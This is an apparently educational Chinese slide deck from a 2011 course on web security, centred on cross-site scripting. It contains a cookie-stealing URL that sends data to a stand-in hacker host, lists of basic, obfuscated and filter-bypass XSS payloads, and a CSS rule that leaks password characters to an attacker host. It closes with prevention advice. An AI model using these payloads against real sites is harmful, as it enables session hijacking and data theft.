網路 安全簡介 「多媒體與網路應用」資訊推廣課程 資工2B 鄭楷穎 985002529 webmaster@digi-king.com 中大電子計算機中心 「多媒體與網路應用」資訊推廣課程 資工2B 鄭楷穎 985002529 webmaster@digi-king.com 開課日期 2011-03-27
黑暗中探索著 未知的世界 … 你相信你看到的都是 網路是安全的? 黑暗中探索著 未知的世界 … 你相信你看到的都是 真的?
漏洞潛伏著 一點點的程式缺陷 … 都可能造成無法挽回的錯誤
你點下的連結 可能 早就被人修改 網頁已經被更動 就這樣而已嗎?
你相信?
不知不覺中 餅乾已經被偷走了!!
曾幾何時 你相信的防毒軟體網站 也背叛了你
McAfee Symantec VerSign NOD32 XSS? Cross-site scripting 簡單來說就是 網頁的不嚴謹 McAfee Symantec VerSign NOD32 都曾經出現過缺陷
那是什? http://www.ebank.com/query.asp?word=%3Cs cript%3Evar+img+%3D+new+Image%28% 29%3Bimg.src%3D%22http%3A%2F%2Fww w.hackers.com%2F%3F%22%2Bdocument.c ookie%3B%3C%2Fscript%3E+ 實際上 var img = new Image();img.src="http://www.hackers. com/?"+document.cookie;
短網址的背後 可能是一整串的網址 夾雜著各類的XSS用法 只要稍微不注意 你就成為受害者
簡單來說 … XSS - 他是一種客戶端的安全問題 - … 但也有可能衍伸出伺服器端問題 - 透過JavaScript來達成目的 … - 他是一種客戶端的安全問題 - … 但也有可能衍伸出伺服器端問題 - 透過JavaScript來達成目的 … - … 和 HTML, Java, ActiveX, VBScript, Flash 還有更多 … - 統計為2010次多的網路安全問題 (via Infosec & OWASP) - 網路上也到處充斥的教學 (use Google)
XSS Types - 最常見 - 危險性最高 暫時性的 (reflected) 長久性的 (stored) Dom-based - 需要伺服器端 - 需要第3方程式 長久性的 (stored) - 危險性最高 - 需要伺服器端及儲存檔案 - 不一定需要第3方程式 Dom-based - 最新一種的攻擊手法 - 需要客戶端 - 通常 不會持續很久 XSS - 2
XSS Facebook
XSS Google
更多 XSS'ed Twitter, MySpace, Hi5, Wordpress, Yahoo, Joomla, PhpBB, Drupal, PhpWind,Amazone, PHPBB, Discuz, *.edu.*, *.gov.*, NASA, Youtube, Blogspot, Symantec, Kaspersky, NOD32, browser plugins … XSS - 6
Getting XSS'ed Where? Basic XSS'ing Advanced XSS'ing HTML 5 XSS'ed Bypass XSS protection XSS - 7
Where? everywhere Rule : 只要是人寫的,一定有缺陷在!! 問題可能來自一切 GET, POST, COOKIE, FILES, SERVER 和 Headers 是主要的問提所在 XSS - 8
Basic XSS'ing XSS - 9 <script>alert(1)</script> //basic “><script>alert(1)</script> //bypass a open tag <!--<img src="--><img src=x onerror=alert(1)//"> //bypass & generate a error “ onmouseover=”alert(1)” //all javascript events alert(/XSS/.source) or alert( String(/Test/).substr(1,4) ); //some other simple vectors <script>alert(String.fromCharCode(88,83,83));</script> //bypass quotes filters <IMG SRC=javascript:al ert('XSS')> //unicode injection; utf-8, hex, decimal or octal injection may work <meta http-equiv="refresh" content="0;url=http://;javascript:..." // evasion <style type=text/javascript>alert('xss')</style> //javascript injection based on style tag “><img src=”x:x” onerror=”alert(0)”> // :D […] XSS - 9
Advanced XSS'ing <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <DIV STYLE="background- image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0 061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> //background & unicode exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> //send IE into a loop <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> //xss in xml document x='\x61\x6c\x65\x72\x74\x28\x31\x29'; new Function(x)(); //something different from every day injections Function('a\x6cert(1)')();// ;) x=eval,1,1,1;1; 1,1,1,b='\\',1,1,1; 1,1,1,s='\'',1,1,1;1,1,1,o='0',1,1,1; x( x(s+b+141+b+154+b+145+b+162+b+164+b+o+50+b+o+61+b+o+51+s) ); //eval + unicode injection [...] XSS - 10
HTML 5 XSS'ed XSS - 11 - new technologies, new problems <video onerror=”javascript:alert(1)”><source> //new tag <audio onerror=”javascript:alert(1)”><source> //other new tag <form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)>X //new events <div draggable=”true” ondragstart=”event.dataTransfer.setData('text/plain', 'Evil payload')”> <h3>DRAG ME!!</h3> </div> //new functions, events & attributes <input type="text" AUTOFOCUS onfocus=alert(1)> <script>alert(localStorage.getItem('foo'))</script> //access local storage “><script>(history.pushState({},”,'index.php'))(document.forms[0].action='http://maliciousURL')</s cript> //conceal the real location and replace it with anything we want. Ex : http://bit.ly/pushStateXSS XSS - 11
Bypass XSS protection XSS - 12 <img/src="mars.png"alt="mars"> //no white spaces, use / instead <object data="javascript:alert(0)"> //avoid src <isindex type=image src=1 onerror=alert(1)> //did you know isindex tag? <img src=x:alert(alt) onerror=eval(src) alt=0> //another bypass for error generation location=location.hash.slice(1); //avoid the # http://victim.com?param=";location=location.hash)//#0={};alert(0) //payload after the hash url, victim won't see true payload alert(document.cookie) or alert(document['cookie']) or with(document)alert(cookie) //same results ""+{toString:alert} or ""+{valueOf:alert} //Executes function without using () or = Future tricks in HTML 5 </a onmousemove="alert(1)"> //html 5 will support events in closed tags <style>input[name=password][value*=a]{background:url('//attacker?log[]=a');}</style> //pure xss- based XSS data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg== //avoid using plain text/html value ?injection=<script+&injection=>alert(1)></script> //HPP, popular in SQLi via BlackHat Conferences. XSS - 12
Injection Exploitation (part 1) Redirection Clickjacking URL Spoofing Session hijacking Cookie stuffing Ad Hijacking CSRF/XSRF attacks History stealling XSS Defacement Key & Mouse logging XSS - 13
Redirection & Clickjacking 重新指向網頁, ex. document.location = ”http://www.your-evil-site.com”; 常見的手法之一 URL Spoofing 常用來做釣魚網頁 通常是很常見的網址 被轉向的網頁會包含一堆又一堆的髒程式碼 特級常見的手法 XSS - 14
Session Hijacking 通常透過JavaScript document.cookie 取得已登入的Session 特級常見 XSS - 15
CSRF/XSRF 常透過 <img src=””. 想想看,你能做哪些事? XSS - 16
XSS Defacement 看起來就像一般Deface Page相同 - 但實際上就只有客戶端顯示 … 能製造錯誤的資訊內容給使用者
累了? 其實正題現在才開始 … XSS - 18
Injection Exploitation (part 2) Browser hijacking Port Scanning DDoS XSS Tunneling Distributed Password Cracking Worms (Spreading) Arbitrary file execution & Privilege escalation Intranet Hacking XSS - 19
Distributed port scanning 透過 XMLHttpRequests 和 WebSockets 達成對特定主機發出ICMP封包, - 但透過XSS你可以遠端執行 … 新版的 Firefox, Chrome or Safari 已經有支援以上Functions (IE是好是壞?) 目前市面上已經有利用這種方法的Shell存在 1 個受害者– 65,000 個掃描區間– 1 秒 - 100 victims - 65,000 個掃描區間– 1 秒 那1萬個甚至10萬個? XSS - 20
DDoS WebSockets 的應用 應用層的DDoS(Layer 7 DDoS) 1 分鐘 – 1 個瀏覽器 – 1萬個 要求 / 分鐘 透過受害者發送 GET requests 只需要60個受害者就足以讓一般網站癱瘓 我們只能等廠商更新軟體 黑帽已經有類似軟體出現 XSS - 21
Worms (spreading) 一種最經濟實惠的方法散布Worms Samy (2005) 透過MySace在20小時內感染超過1,000,000 使用者 所有的網站都有可能成為目標Yahoo, twitter, plurk … etc XSS - 22
Intranet Hacking (part 1) 瀏覽器可能會被你瀏覽的網頁鎖控制 XSS - 23
Intranet Hacking (part 2) 程序: 受害者瀏覽一個具有惡意程式碼的網頁啟動惡意JavaScript JavaScript透過Applet取得內部網路的資訊 利用瀏覽器(XSS Shell)對內部網路進行其他動作 XSS - 24
Intranet Hacking (part 3) 蒐集資訊: IP Port scanning - <script src=http://ip/></script> 內部資料 - 取得主機檔案 file:/// - 更過應用透過XSS Shells XSS - 25
預防 XSS attacks 過濾內容 不要亂點來路不明的網址 瀏覽器的安全性 XSS - 26
你還認為 XSS 是一個簡單的問題 ? XSS - 27
你會被 來實行DDoS 當成跳板 甚至他可能直接控制你的電腦!!
你也許會想 不要相信別人貼的網址 那我用Google來搜尋 應該就不會有問題了吧?
但是你沒想過 Google也是有缺陷在的!! SEO有好有壞 好的幫助小企業行銷 壞的讓上網的人進錯網站!!
Search Engine Optimization SEO? Search Engine Optimization Google的PR靠他來的 搜尋排名靠PR來的 總之全部都是SEO 而且他能作弊!!
排名重要嗎? 34% 的使用者會點選搜尋的第一個結果 17% 會點選第二個 當假網站SEO做得比真網站好的時候 … 你會選對嗎?
注意!! 在點下別人給你的連結之前 先看看有沒有包含可疑的字串 搜尋結果後 先看看網址 多個幾步減少成為受害者的機率 !!
很久很久以前 曾經有一篇新聞 對啊!! 我們還有防毒軟體
過沒幾天 就有 「殺很大」或「遙遙巨乳宣導資安照片」 木馬出現…
時間點來說 感染階段 空窗期 清除復原階段 病毒碼更新
防毒軟體觸發 偵測點 偵測點 偵測點 下載 首頁 下載 執行檔 執行檔被執行 3個偵測點 但是現今的防毒效率還是不高 …
因為 … 惡意檔案被一種或多種加殼程式(Packer Program)壓縮過 惡意程式使用隱匿技術(Rootkit Technique) 惡意程式使用DLL Injection的技術 目標式攻擊的惡意程式樣本收集不易 編過碼的惡意Script (如JavaScript, VBScript等) 病毒特徵碼太大(很多防毒軟體都有這個問題)
加殼?
總體來說 防毒軟體並不是我們的最後一道防線啊!! 身為使用者 您自己的決定權 才是最後一道防線
那要怎麼辦? 盡量不要點來路不明的網址 如果有牽扯到重要資訊 務必選擇有SSL加密的連線 SSL具有以下幾項優點 私密性 完整性 身份認證性
總結 好的網路使用習慣 時時刻刻保持警覺的心 就能大幅降低電腦受到傷害的機率
最後… FAQ Time
其實還有一頁!! 參考資料 大砲開講 : Rogerspeaking.com BlackHat : Blackhat.com Google : Googleretail.blogspot.com Ha.ckers.org : Ha.ckers.org WorldIT : Worldit.info